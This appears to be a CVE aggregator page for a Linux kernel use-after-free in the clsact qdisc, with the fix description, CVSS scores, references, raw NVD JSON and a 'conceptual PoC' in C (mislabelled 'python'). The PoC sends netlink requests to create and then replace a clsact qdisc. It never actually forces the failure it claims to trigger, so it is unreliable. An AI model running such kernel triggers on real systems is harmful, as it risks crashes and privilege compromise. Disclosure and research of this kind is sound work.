CVE-2026-23413

Description

In the Linux kernel, the following vulnerability has been resolved: clsact: Fix use-after-free in init/destroy rollback asymmetry Fix a use-after-free in the clsact qdisc upon init/destroy rollback asymmetry. The latter is achieved by first fully initializing a clsact instance, and then in a second step having a replacement failure for the new clsact qdisc instance. clsact_init() initializes ingress first and then takes care of the egress part. This can fail midway, for example, via tcf_block_get_ext(). Upon failure, the kernel will trigger the clsact_destroy() callback. Commit 1cb6f0bae504 ("bpf: Fix too early release of tcx_entry") details the way how the transition is happening. If tcf_block_get_ext on the q->ingress_block ends up failing, we took the tcx_miniq_inc reference count on the ingress side, but not yet on the egress side. clsact_destroy() tests whether the {ingress,egress}_entry was non-NULL. However, even in midway failure on the replacement, both are in fact non-NULL with a valid egress_entry from the previous clsact instance. What we really need to test for is whether the qdisc instance-specific ingress or egress side previously got initialized. This adds a small helper for checking the miniq initialization called mini_qdisc_pair_inited, and utilizes that upon clsact_destroy() in order to fix the use-after-free scenario. Convert the ingress_destroy() side as well so both are consistent to each other.

CVSS Details

CVSS Score

7.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

Linux Kernel (具体受影响版本需参考Git修复提交)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

/*
 * Conceptual PoC for CVE-2026-23413
 * Triggering clsact use-after-free via rollback asymmetry
 * This requires a system with a vulnerable Linux kernel.
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <linux/pkt_sched.h>

#define NLMSG_TAIL(nmsg) ((struct rtattr *)(((void *)(nmsg)) + NLMSG_ALIGN((nmsg)->nlmsg_len)))

void addattr_l(struct nlmsghdr *n, int maxlen, int type, const void *data, int alen) {
    int len = RTA_LENGTH(alen);
    struct rtattr *rta;
    if (NLMSG_ALIGN(n->nlmsg_len) + RTA_ALIGN(len) > maxlen) return;
    rta = NLMSG_TAIL(n);
    rta->rta_type = type;
    rta->rta_len = len;
    memcpy(RTA_DATA(rta), data, alen);
    n->nlmsg_len = NLMSG_ALIGN(n->nlmsg_len) + RTA_ALIGN(len);
}

int main() {
    int fd;
    struct sockaddr_nl sa;
    char buf[4096];
    struct nlmsghdr *nh;
    struct tcmsg *t;
    
    fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
    if (fd < 0) { perror("socket"); return -1; }

    memset(&sa, 0, sizeof(sa));
    sa.nl_family = AF_NETLINK;
    bind(fd, (struct sockaddr *)&sa, sizeof(sa));

    // Step 1: Create an initial clsact qdisc
    memset(buf, 0, sizeof(buf));
    nh = (struct nlmsghdr *)buf;
    nh->nlmsg_type = RTM_NEWQDISC;
    nh->nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE | NLM_F_EXCL | NLM_F_ACK;
    nh->nlmsg_len = NLMSG_LENGTH(sizeof(struct tcmsg));
    t = (struct tcmsg *)NLMSG_DATA(nh);
    t->tcm_family = AF_UNSPEC;
    t->tcm_ifindex = if_nametoindex("lo"); // Target loopback
    t->tcm_parent = TC_H_CLSACT;
    t->tcm_handle = TC_H_MAKE(TC_H_CLSACT, 0);
    addattr_l(nh, sizeof(buf), TCA_KIND, "clsact", sizeof("clsact"));
    
    send(fd, buf, nh->nlmsg_len, 0);

    // Step 2: Attempt to replace with a config that triggers init failure
    // The goal is to make tcf_block_get_ext fail during egress init
    // while ingress is already partially set up, causing rollback.
    memset(buf, 0, sizeof(buf));
    nh = (struct nlmsghdr *)buf;
    nh->nlmsg_type = RTM_NEWQDISC;
    nh->nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE | NLM_F_REPLACE | NLM_F_ACK;
    nh->nlmsg_len = NLMSG_LENGTH(sizeof(struct tcmsg));
    t = (struct tcmsg *)NLMSG_DATA(nh);
    t->tcm_family = AF_UNSPEC;
    t->tcm_ifindex = if_nametoindex("lo");
    t->tcm_parent = TC_H_CLSACT;
    t->tcm_handle = TC_H_MAKE(TC_H_CLSACT, 0);
    addattr_l(nh, sizeof(buf), TCA_KIND, "clsact", sizeof("clsact"));
    
    // Sending the replace request. Kernel might panic or trigger UAF here.
    send(fd, buf, nh->nlmsg_len, 0);

    close(fd);
    return 0;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-23413
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-23413
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-23413/
[4] VulDB https://vuldb.com/cve/CVE-2026-23413
[5] https://git.kernel.org/stable/c/0509b762bc5e8ea7b8391130730c6d8502fc6e69
[6] https://git.kernel.org/stable/c/37bef86e5428d59f70a4da82b80f9a8f252fecbe
[7] https://git.kernel.org/stable/c/4c9af67f99aa3e51b522c54968ab3ac8272be41c
[8] https://git.kernel.org/stable/c/a0671125d4f55e1e98d9bde8a0b671941987e208
[9] https://git.kernel.org/stable/c/a73d95b57bf9faebdfed591bcb7ed9292062a84c

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-23413", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-02T12:16:20.440", "lastModified": "2026-04-27T14:16:31.183", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nclsact: Fix use-after-free in init/destroy rollback asymmetry\n\nFix a use-after-free in the clsact qdisc upon init/destroy rollback asymmetry.\nThe latter is achieved by first fully initializing a clsact instance, and\nthen in a second step having a replacement failure for the new clsact qdisc\ninstance. clsact_init() initializes ingress first and then takes care of the\negress part. This can fail midway, for example, via tcf_block_get_ext(). Upon\nfailure, the kernel will trigger the clsact_destroy() callback.\n\nCommit 1cb6f0bae504 (\"bpf: Fix too early release of tcx_entry\") details the\nway how the transition is happening. If tcf_block_get_ext on the q->ingress_block\nends up failing, we took the tcx_miniq_inc reference count on the ingress\nside, but not yet on the egress side. clsact_destroy() tests whether the\n{ingress,egress}_entry was non-NULL. However, even in midway failure on the\nreplacement, both are in fact non-NULL with a valid egress_entry from the\nprevious clsact instance.\n\nWhat we really need to test for is whether the qdisc instance-specific ingress\nor egress side previously got initialized. This adds a small helper for checking\nthe miniq initialization called mini_qdisc_pair_inited, and utilizes that upon\nclsact_destroy() in order to fix the use-after-free scenario. Convert the\ningress_destroy() side as well so both are consistent to each other."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.6.41", "versionEndExcluding": "6.6.130", "matchCriteriaId": "26D3BD9B-33D9-4B3C-9FAA-E5BA5D7900AF"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.9.10", "versionEndExcluding": "6.10", "matchCriteriaId": "9B0E24EE-A06E-497B-BF65-1F0729D0A2C3"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.10.1", "versionEndExcluding": "6.12.78", "matchCriteriaId": "DC42FFE4-BBBB-48E5-AD62-DA7FEAD2DD43"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.20", "matchCriteriaId": "E5571059-6552-48E7-9BEF-3E358C387171"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.10", "matchCriteriaId": "96D34333-38BE-4414-9E79-6EB764329581"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.10:-:*:*:*:*:*:*", "matchCriteriaId": "9EA80796-744E-45F5-8632-2AB4F7889FCD"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc6:*:*:*:*:*:*", "matchCriteriaId": "1D2315C0-D46F-4F85-9754-F9E5E11374A6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:l ... 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